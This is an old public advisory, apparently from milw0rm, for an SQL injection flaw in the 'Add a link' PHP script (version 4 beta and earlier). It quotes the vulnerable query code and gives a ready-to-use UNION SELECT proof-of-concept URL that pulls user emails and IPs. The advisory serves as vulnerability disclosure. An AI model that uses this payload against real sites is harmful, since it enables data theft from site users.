42 lines
No EOL
1 KiB
Text
42 lines
No EOL
1 KiB
Text
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
|
|
Add a link <= 4 - beta || Remote SQL Injection Vulnerability
|
|
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
|
|
|
|
/ Script: Add a link
|
|
/ Version: <= 4 - beta
|
|
/ File affected: user_read_links.php
|
|
/ Download: http://sourceforge.net/projects/addalink/
|
|
/ need magic_quotes_gpc = Off
|
|
|
|
|
|
Found by ka0x <ka0x01 [at] gmail [dot] com>
|
|
D.O.M Labs - Security Researchers
|
|
- www.domlabs.org
|
|
|
|
|
|
Vuln Code:
|
|
--------------
|
|
|
|
32: $read_out_linktable="SELECT * FROM $linktable WHERE approved='1' AND category_id='$category_id' ORDER BY id DESC LIMIT $start,$steps";
|
|
33: $read_result=mysql_query($read_out_linktable);
|
|
|
|
....
|
|
|
|
87: while($data=mysql_fetch_array($read_result))
|
|
88: {
|
|
90: echo "<tr><td colspan=\"5\">$data[description]</td></tr>";
|
|
91: }
|
|
|
|
--------------
|
|
|
|
The var $category_id isn't verified.
|
|
|
|
|
|
Proof of Concept:
|
|
|
|
http://[host]/[addalink-path]/user_read_links.php?category_id=' UNION SELECT 1,1,1,1,1,1,concat(email,0x3a,ip),1,1,1,1 FROM Linklisttable/*
|
|
|
|
|
|
__EOF__
|
|
|
|
# milw0rm.com [2008-09-18] |